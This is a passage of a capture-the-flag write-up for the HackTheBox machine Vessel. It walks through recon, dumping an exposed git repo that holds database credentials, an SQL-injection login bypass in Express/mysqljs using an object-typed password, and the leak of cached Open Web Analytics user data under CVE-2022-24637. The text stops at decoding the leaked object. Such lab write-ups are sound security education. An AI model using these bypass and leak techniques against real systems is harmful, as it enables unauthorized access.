HTB: Vessel
Vessel is a really clever box with some nice design. Several of the bugs are publicly disclosed, but at the time of release didn’t have public exploit, so they required digging into the tech to figure out how to abuse them. I’ll start by pulling a git repo from the website, and find an unsafe call to MySQL from Express. This bug is surprising, as the code looks good, and I’ll dig into it more in Beyond Root. After abusing the type confusion to get SQL injection and a hash, I’ll log in and find a link to a new subdomain hosting an instance of Open Web Analytics. I’ll abuse an information discloser vulnerability to get admin access to OWA, and then a mass assignment vuln to move a log into a web-accessible directory and poison that log to get execution and a shell. I’ll reverse a PyInstaller-generated exe to recover a password to pivot to the next user. From there, I’ll abuse a SetUID binary that’s part of CRI-O to change kernel parameters and get a shell as root.
Box Info
Name | Vessel Play on HackTheBox |
---|---|
Release Date | 27 Aug 2022 |
Retire Date | 25 Mar 2023 |
OS | Linux |
Base Points | Hard [40] |
Rated Difficulty | |
Radar Graph | |
03:23:16 |
|
04:20:10 |
|
Creator |
Recon
nmap
nmap
finds two open TCP ports, SSH (22) and HTTP (80):
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.178
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-14 17:22 EDT
Nmap scan report for 10.10.11.178
Host is up (0.087s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 6.97 seconds
oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.178
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-14 17:23 EDT
Nmap scan report for 10.10.11.178
Host is up (0.093s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Vessel
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 focal.
Subdomain Fuzz
While I haven’t seen it yet, there’s a domain, vessel.htb
on the webpage. Given the use of domain names, I’ll check for any subdomains that respond differently than the default page with ffuf
:
oxdf@hacky$ ffuf -u http://10.10.11.178 -H "Host: FUZZ.vessel.htb" -mc all -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 15030
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0
________________________________________________
:: Method : GET
:: URL : http://10.10.11.178
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.vessel.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response size: 15030
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 418 req/sec :: Duration: [0:00:14] :: Errors: 0 ::
Nothing here.
vessel.htb - TCP 80
Site
The website is some kind of consulting company:
There is a contact form at the bottom. If I fill it out and submit, it says submission successful:
But looking in Burp Proxy, no request is sent, so it’s likely just a dummy form.
Just below that, it does list the domain name vessel.htb
:
There is a link to login in the nav bar, which leads to /login
:
There’s a link for “Forgot Password?” that leads to /reset
:
And “Need an account? Sign up!”, which leads to /register
:
When I try to register, it just says it’s not available:
Tech Stack
The HTTP headers show that it is running the NodeJS framework ExpressJS:
HTTP/1.1 200 OK
Date: Tue, 14 Mar 2023 21:24:41 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
ETag: W/"3ab6-fxJsnDvEyrs1BpGR1cM7Ovl8AME-gzip"
Vary: Accept-Encoding
Content-Length: 15030
Connection: close
There’s no index.html
file, and the paths seem to be extensionless, which makes sense for Express.
Directory Brute Force
I’ll run feroxbuster
against the site:
oxdf@hacky$ feroxbuster -u http://10.10.11.178
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.8.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.178
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.8.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD - - - - http://10.10.11.178 => auto-filtering 404-like response (26 bytes); toggle this behavior by using --dont-filter
301 GET 10l 16w 173c http://10.10.11.178/css => http://10.10.11.178/css/
200 GET 243l 871w 15030c http://10.10.11.178/
302 GET 1l 4w 28c http://10.10.11.178/admin => http://10.10.11.178/login
302 GET 1l 4w 28c http://10.10.11.178/Admin => http://10.10.11.178/login
301 GET 10l 16w 173c http://10.10.11.178/dev => http://10.10.11.178/dev/
200 GET 70l 182w 4213c http://10.10.11.178/Login
200 GET 51l 125w 2393c http://10.10.11.178/404
302 GET 1l 4w 28c http://10.10.11.178/ADMIN => http://10.10.11.178/login
200 GET 51l 117w 2335c http://10.10.11.178/500
200 GET 89l 234w 5830c http://10.10.11.178/Register
302 GET 1l 4w 28c http://10.10.11.178/Logout => http://10.10.11.178/login
403 GET 9l 28w 277c http://10.10.11.178/server-status
200 GET 63l 177w 3637c http://10.10.11.178/reset
200 GET 52l 120w 2400c http://10.10.11.178/401
200 GET 70l 182w 4213c http://10.10.11.178/LOGIN
200 GET 63l 177w 3637c http://10.10.11.178/Reset
[####################] - 1m 90000/90000 0s found:16 errors:149
[####################] - 1m 30004/30000 423/s http://10.10.11.178/
[####################] - 1m 30004/30000 428/s http://10.10.11.178/css/
[####################] - 1m 30004/30000 453/s http://10.10.11.178/dev/
There’s a few things of interest. /dev
returns a redirect to /dev/
which just returns a redirect to a custom 404 page at /404
.
/admin
seems interesting, but it leads back to /login
, suggesting it requires auth.
Identify .git
This cost me a bunch of time on initially solving the box. I’ve talked before about how identifying Git repos is a weakness in my methodology. Knowing this, I’ve been often brute forcing with raft-small-words.txt
because it will check for .git
(been considering going there as a default, which I could now set in the Feroxbuster config file). But even that wouldn’t find anything on Vessel.
It turns out that /dev/.git
returns a redirect to /404
just like anything else on the site that doesn’t exist. But /dev/.git/config
returns something:
oxdf@hacky$ curl http://vessel.htb/dev/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Ethan
email = ethan@vessel.htb
This can be found with something like common.txt
(in SecLists), which includes not only .git
but a few files inside the folder as well:
oxdf@hacky$ grep '^.git/' /opt/SecLists/Discovery/Web-Content/common.txt
.git/HEAD
.git/config
.git/index
.git/logs/
feroxbuster
with this wordlist does find the repo:
oxdf@hacky$ feroxbuster -u http://10.10.11.178/ -w /opt/SecLists/Discovery/Web-Content/common.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.8.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.178/
🚀 Threads │ 50
📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.8.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD - - - - http://10.10.11.178/ => auto-filtering 404-like response (26 bytes); toggle this behavior by using --dont-filter
200 GET 243l 871w 15030c http://10.10.11.178/
...[snip]...
200 GET 1l 2w 23c http://10.10.11.178/dev/.git/HEAD
200 GET 19l 55w 3596c http://10.10.11.178/dev/.git/index
...[snip]...
200 GET 8l 20w 139c http://10.10.11.178/dev/.git/config...[snip]...
Shell as www-data
Authenticated Site Access
Download Repo
git-dumper is a nice way to pull the repo from the website (pipx install git-dumper
). I’ll give it the url to the directory with a .git
repo and a directory to save in:
oxdf@hacky$ mkdir git
oxdf@hacky$ git-dumper http://vessel.htb/dev git
[-] Testing http://vessel.htb/dev/.git/HEAD [200]
[-] Testing http://vessel.htb/dev/.git/ [302]
[-] Fetching common files
...[snip]...
[-] Fetching http://vessel.htb/dev/.git/objects/d0/2d9b464fe19e78d4cda32b7e19ae62200c7140 [200]
[-] Running git checkout .
The last thing the script does it git checkout
to get the latest commit. The files are there:
oxdf@hacky$ ls
config index.js public routes views
oxdf@hacky$ git status
On branch master
nothing to commit, working tree clean
Repo Analysis
There’s only a couple commits in this repo:
oxdf@hacky$ git log --oneline
208167e (HEAD -> master) Potential security fixes
edb18f3 Security Fixes
f1369cf Initial commit
From “Initial commit” to “Security Fixes”, the only thing that changes is removing an obvious SQL injection:
oxdf@hacky$ git diff f1369cf edb18f3
diff --git a/routes/index.js b/routes/index.js
index be2adb1..0cf479c 100644
--- a/routes/index.js
+++ b/routes/index.js
@@ -61,7 +61,7 @@ router.post('/api/login', function(req, res) {
let username = req.body.username;
let password = req.body.password;
if (username && password) {
- connection.query("SELECT * FROM accounts WHERE username = '" + username + "' AND password = '" + password + "'", function(error, results, fields) {
+ connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) {
if (error) throw error;
if (results.length > 0) {
req.session.loggedin = true;
The next change just adds a comment:
oxdf@hacky$ git diff edb18f3 208167e
diff --git a/routes/index.js b/routes/index.js
index 0cf479c..69c22be 100644
--- a/routes/index.js
+++ b/routes/index.js
@@ -1,6 +1,6 @@
var express = require('express');
var router = express.Router();
-var mysql = require('mysql');
+var mysql = require('mysql'); /* Upgraded deprecated mysqljs */
var flash = require('connect-flash');
var db = require('../config/db.js');
var connection = mysql.createConnection(db.db)
It’s not clear what they mean by “Upgraded deprecated mysqljs”.
The config/db.js
file has MySQL creds:
var mysql = require('mysql');
var connection = {
db: {
host : 'localhost',
user : 'default',
password : 'daqvACHKvRn84VdVp',
database : 'vessel'
}};
module.exports = connection;
I’ll note these, though they don’t end up being needed.
Bypass Login
When I Google “mysqljs sql injection”, the top result is a post on Medium titled Finding an unseen SQL Injection by bypassing escape functions in mysqljs/mysql:
In fact, the vulnerable code sample in that post looks exactly like the one in the repo:
Query escape functions like above are meant to fill replace the ?
with the strings and not allow any code there such as open/close quotes or equals signs. However, Express mis-handles how different object types are passed into these function. Looking at the example above, if the data submitted is:
{
"username": "admin",
"password": {
"password": 1,
}
}
Then Express / mysqljs will take that and make the following query:
SELECT * FROM accounts WHERE username = 'admin' AND password = `password` = 1;
That will simplify further to:
SELECT * FROM accounts WHERE username = 'admin' AND 1 = 1;
SELECT * FROM accounts WHERE username = 'admin';
Exploit on Vessel
The POST request to login looks like:
POST /api/login HTTP/1.1
Host: 10.10.11.178
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://10.10.11.178
Connection: close
Referer: http://10.10.11.178/login
Cookie: connect.sid=s%3AfwFGY0wm3c9GJN8d0uhaJ_NzLEHOHe1H.oWpvrp2N0NsEbGizfrOv2DZ2U1GAHz3zv%2BMdvjfq1JU
Upgrade-Insecure-Requests: 1
username=admin&password=admin
I’ll send that to repeater, and convert it to JSON (changing both the body and the Content-Type
header):
POST /api/login HTTP/1.1
Host: 10.10.11.178
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 50
Origin: http://10.10.11.178
Connection: close
Referer: http://10.10.11.178/login
Cookie: connect.sid=s%3AfwFGY0wm3c9GJN8d0uhaJ_NzLEHOHe1H.oWpvrp2N0NsEbGizfrOv2DZ2U1GAHz3zv%2BMdvjfq1JU
Upgrade-Insecure-Requests: 1
{"username": "admin", "password": "admin"}
I’ll send that, and confirm it still returns a redirect to /login
:
Now I’ll change the "password"
value to be a nested object. Now the response is a redirect to /admin
:
I can either grab that cookie and put it into Firefox with dev tools, or do it again from the browser and intercept the request with Burp and modify the request.
This escape function bypass also works using the x-www-form-urlencoded
payload like this:
I’m not sure if that would always be the case, so it’s worth checking both. I’ll play with this a bit more and fix the vulnerable code in Beyond Root.
Enumerate Site
After bypassing the login, /admin
returns a dashboard:
There’s not much of interest on this page. There’s a drop down menu at the top right:
“Settings” and “Activity Log” don’t go anywhere, but “Analytics” leads to http://openwebanalytics.vessel.htb/
. I’ll add that to my /etc/hosts
file.
openwebanalytics.vessel.htb
Site
The site presents a login form for an Open Web Analytics instance:
Open Web Analytics is:
the free and open source web analytics framework that lets you stay in control of how you instrument and analyze the use of your websites and application.
It’s a free and open-source alternative to products like Google Analytics.
The “Forgot your password?” link leads to another form:
If I try “0xdf@vessel.htb”, it returns an error showing that that user doesn’t exist:
On the other hand, if I try “admin@vessel.htb”, it reports success, which means I can enumerate valid users via this process:
Tech Stack
Visiting /
redirects to http://openwebanalytics.vessel.htb/index.php?owa_do=base.loginForm&owa_go=http%3A%2F%2Fopenwebanalytics.vessel.htb%2F&
. This URL shows a few things:
- The site is running on PHP;
index.php
seem to handle everything, with theowa_do
parameter seeming to indicate what to present;owa_go
seems like the next URL to go to on successful login.
The HTML source reveals the version of OWA as 1.7.3:
Identify Vulnerability
The GitHub repo for OWA shows that the current version as of Jan 7 2023 is 1.7.8:
1.7.3 was released on Nov 10, 2021, and the next version, 1.7.4 was released on Feb 2, 2022. Given that Vessel was submitted to HackTheBox in May 2022, it seems like the older version was used (potentially intentionally?).
The release notes for 1.7.4 include a “CRITICAL SECURITY FIX”:
Admin Access to OWA
CVE-2022-24637 Background
This exploit is really nicely described in this post from devel0pment.de. The issue is in cached files that are generated by the site. The files are meant to be PHP files. The code that generates the files writes <?php\n...
. The problem is that in that code, the string is held in single quotes, and in single quotes, PHP displays the string “as is”. That means the resulting file looks like:
<?php\n [more stuff]
That breaks the <?php
tag, and thus the interpreter handles the file as text and not PHP. This is defined in the source of modules/base/classes/fileCache.php
at line 37:
These cache files are publicly accessible without auth in owa-data/caches/
. A cached User
object is stored in owa-data/caches/[user id]/owa_user/[hash].php
. A simple failed login is enough to get data to exist.
There are a few POC exploits for this vulnerability on ExploitDB and GitHub. These were published well after the release of Vessel, so I’m going to proceed without them to show the experience of solving at release time.
Collect Data
To exploit this, I’ll need a user. I’ve already validated above that admin@vessel.htb
exists. I’m going to assume that user’s username is admin and try to target that. After a failed login as admin, I’ll check owa-data/caches
, and there is a 1
folder (which makes sense that the admin user id would be 1):
Inside that directory, there’s are different types of cache data folders:
According to the post, the one to target is owa_user
. Visiting this directory shows it empty:
However, immediately after a failed login, it returns an empty page. The cache seems to clear this directory periodically.
Presumably the file I need to read is in that dir, but I need to know the name.
Get File Name
This is the trickiest part of the exploit. The post says:
Since the PHP cache files are publicly accessible (owa-data/caches/), we can retrieve the base64 encoded serialized data. In order to do this, we need to know the name of the cache file. Though it turned out, that the filename is predictable. If the admin user at least logged in once, the cache file exists. But even if the user never logged in, we can trigger the creation by trying to login with this user. The failed login attempt does also create the cache file.
After calculating the filename, we can easily retrieve the cache file:
The filename is predictable, and we can calculate it, but it doesn’t go into how. I’ll download the vulnerable code, and start where the blog post identified as the vulnerable function, putItemToCacheStore
in fileCache.php
(source here).
function putItemToCacheStore($collection, $id) {
if ( $this->acquire_lock() ) {
$this->makeCacheCollectionDir($collection);
$this->debug(' writing file for: '.$collection.$id);
// create collection dir
$collection_dir = $this->makeCollectionDirPath($collection);
// asemble cache file name
$cache_file = $collection_dir.$id.'.php';
...[snip]...
The file that is eventually written is $cache_file
, which is $collection_dir
appended with $id
and then .php
.
$collection_dir
is the result of makeCollectionDirPath
(source):
function makeCollectionDirPath($collection) {
if (!in_array($collection, $this->global_collections)) {
return $this->cache_dir.$this->cache_id.'/'.$collection.'/';
} else {
return $this->cache_dir.$collection.'/';
}
}
I’ll look at where $collection
is passed in, but it seems likely that $this->cache_dir
is owa-data/caches/
, and then $this->cache_id
is 1
, and $collection
is the directories like owa_user
, owa_site
, etc.
What remains to be discovered is what is $id
used to call putItemToCacheStore
. This function is called from cache.php
in persistCache
(source). The fileCache
object inherits from the cache
object, so this persistCache
function is available to any cache object. persistCache
is called from the __destruct
function of the cache
object (source).
In persistCache
, it loops over the dirty_objs
, for each calling putItemToCacheStore
with the $collection
and $id
as key and value.
$this->dirty_objs
is an array that’s populated in the set
function (source):
function set($collection, $key, $value, $expires = '') {
$hkey = $this->hash($key);
owa_coreAPI::debug('set key: '.$key);
owa_coreAPI::debug('set hkey: '.$hkey);
$this->cache[$collection][$hkey] = $value;
$this->debug(sprintf('Added Object to Cache - Collection: %s, id: %s', $collection, $hkey));
$this->statistics['added']++;
$this->dirty_objs[$collection][$hkey] = $hkey;
$this->dirty_collections[$collection] = true;
$this->debug(sprintf('Added Object to Dirty List - Collection: %s, id: %s', $collection, $hkey));
$this->statistics['dirty']++;
}
set
takes a $collection
, $key
, $value
, and $expires
. $key
is passed to hash
(which just calls md5
, source), and then the result is what’s stored as what is later used at the $id
.
set
is called in owa_entity.php
in the addToCache
function (source):
function addToCache($col = 'id') {
if($this->isCachable()) {
$cache = owa_coreAPI::cacheSingleton();
$cache->setCollectionExpirationPeriod($this->getTableName(), $this->getCacheExpirationPeriod());
$cache->set($this->getTableName(), $col.$this->get('id'), $this, $this->getCacheExpirationPeriod());
}
}
Working backwards to what’s passed to set
, the $collection
will be the table name, and the $key
will be the $col
appended with $this->get('id')
, which actually is reading the idea from the database. $col
has a default value of ‘id’.
addToCache
is called a few times:
All but one of those it’s using the default parameter of “id”. I’ll try to hash the string “id1” and check for a file on the webserver, but it doesn’t work.
The time addToCache
is called by something else is in the getByColumn
function (source):
function getByColumn($col, $value) {
...[snip]...
} else {
$db = owa_coreAPI::dbSingleton();
$db->selectFrom($this->getTableName());
$db->selectColumn('*');
owa_coreAPI::debug("Col: $col, value: $value");
$db->where($col, $value);
$properties = $db->getOneRow();
if (!empty($properties)) {
$this->setProperties($properties);
$this->wasPersisted = true;
// add to cache
$this->addToCache($col);
owa_coreAPI::debug('entity loaded from db');
}
When it has to go to the DB to get values, then it adds this to the cache.
getByColumn
shows up in a lot of places, but the top one is owa_auth.php
:
Given that I know I am targeting something that is created even on a failed login, the third one looks the most promising. It’s in the getUser
function (source):
function getUser() {
// fetch user object from the db
$this->u = owa_coreAPI::entityFactory('base.user');
$this->u->getByColumn('user_id', $this->credentials['user_id']);
}
It’s not hard to picture that the user attempts to log in, then the database goes to get the user object (and it happens to get cached for a short time).
If that’s the case, then the $col
is “user_id”. If that’s right, then the filename will be c30da9265ba0a4704db9229f864c9eb7.php
:
oxdf@hacky$ echo -n "user_id1" | md5sum
c30da9265ba0a4704db9229f864c9eb7 -
Get temp_pass
After attempting a login, the file exists:
oxdf@hacky$ curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php
<?php\n/*Tzo4OiJvd2FfdXNlciI6NTp7czo0OiJuYW1lIjtzOjk6ImJhc2UudXNlciI7czoxMDoicHJvcGVydGllcyI7YToxMDp7czoyOiJpZCI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MToiMSI7czo5OiJkYXRhX3R5cGUiO3M6NjoiU0VSSUFMIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjc6InVzZXJfaWQiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjoxO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjg6InBhc3N3b3JkIjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO047czo1OiJ2YWx1ZSI7czo2MDoiJDJ5JDEwJGFxOVJqemhPMXNUbzBmZm5QU21HSC5aaW5SQzNMbzlLajg3cnRsaWR0UFFFY2NIMFprd09lIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjQ6InJvbGUiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjU6ImFkbWluIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjk6InJlYWxfbmFtZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTM6ImRlZmF1bHQgYWRtaW4iO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fXM6MTM6ImVtYWlsX2FkZHJlc3MiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjE2OiJhZG1pbkB2ZXNzZWwuaHRiIjtzOjk6ImRhdGFfdHlwZSI7czoxMjoiVkFSQ0hBUigyNTUpIjtzOjExOiJmb3JlaWduX2tleSI7TjtzOjE0OiJpc19wcmltYXJ5X2tleSI7YjowO3M6MTQ6ImF1dG9faW5jcmVtZW50IjtiOjA7czo5OiJpc191bmlxdWUiO2I6MDtzOjExOiJpc19ub3RfbnVsbCI7YjowO3M6NToibGFiZWwiO047czo1OiJpbmRleCI7TjtzOjEzOiJkZWZhdWx0X3ZhbHVlIjtOO31zOjEyOiJ0ZW1wX3Bhc3NrZXkiO086MTI6Im93YV9kYkNvbHVtbiI6MTE6e3M6NDoibmFtZSI7TjtzOjU6InZhbHVlIjtzOjMyOiI4MmYxMTUyYjRiM2RiNDI0MTM5YzIwMzBkMDQ3MjNiNCI7czo5OiJkYXRhX3R5cGUiO3M6MTI6IlZBUkNIQVIoMjU1KSI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxMzoiY3JlYXRpb25fZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czoxNjoibGFzdF91cGRhdGVfZGF0ZSI7TzoxMjoib3dhX2RiQ29sdW1uIjoxMTp7czo0OiJuYW1lIjtOO3M6NToidmFsdWUiO3M6MTA6IjE2NTAyMTE2NTkiO3M6OToiZGF0YV90eXBlIjtzOjY6IkJJR0lOVCI7czoxMToiZm9yZWlnbl9rZXkiO047czoxNDoiaXNfcHJpbWFyeV9rZXkiO2I6MDtzOjE0OiJhdXRvX2luY3JlbWVudCI7YjowO3M6OToiaXNfdW5pcXVlIjtiOjA7czoxMToiaXNfbm90X251bGwiO2I6MDtzOjU6ImxhYmVsIjtOO3M6NToiaW5kZXgiO047czoxMzoiZGVmYXVsdF92YWx1ZSI7Tjt9czo3OiJhcGlfa2V5IjtPOjEyOiJvd2FfZGJDb2x1bW4iOjExOntzOjQ6Im5hbWUiO3M6NzoiYXBpX2tleSI7czo1OiJ2YWx1ZSI7czozMjoiYTM5MGNjMDI0N2VjYWRhOWEyYjhkMjMzOGI5Y2E2ZDIiO3M6OToiZGF0YV90eXBlIjtzOjEyOiJWQVJDSEFSKDI1NSkiO3M6MTE6ImZvcmVpZ25fa2V5IjtOO3M6MTQ6ImlzX3ByaW1hcnlfa2V5IjtiOjA7czoxNDoiYXV0b19pbmNyZW1lbnQiO2I6MDtzOjk6ImlzX3VuaXF1ZSI7YjowO3M6MTE6ImlzX25vdF9udWxsIjtiOjA7czo1OiJsYWJlbCI7TjtzOjU6ImluZGV4IjtOO3M6MTM6ImRlZmF1bHRfdmFsdWUiO047fX1zOjE2OiJfdGFibGVQcm9wZXJ0aWVzIjthOjQ6e3M6NToiYWxpYXMiO3M6NDoidXNlciI7czo0OiJuYW1lIjtzOjg6Im93YV91c2VyIjtzOjk6ImNhY2hlYWJsZSI7YjoxO3M6MjM6ImNhY2hlX2V4cGlyYXRpb25fcGVyaW9kIjtpOjYwNDgwMDt9czoxMjoid2FzUGVyc2lzdGVkIjtiOjE7czo1OiJjYWNoZSI7Tjt9*/\n?>
The text starts with <?php\n
just like expected, and then a PHP comment with a base64-encoded blob. I’ll base64 decode to get a serialized PHP object:
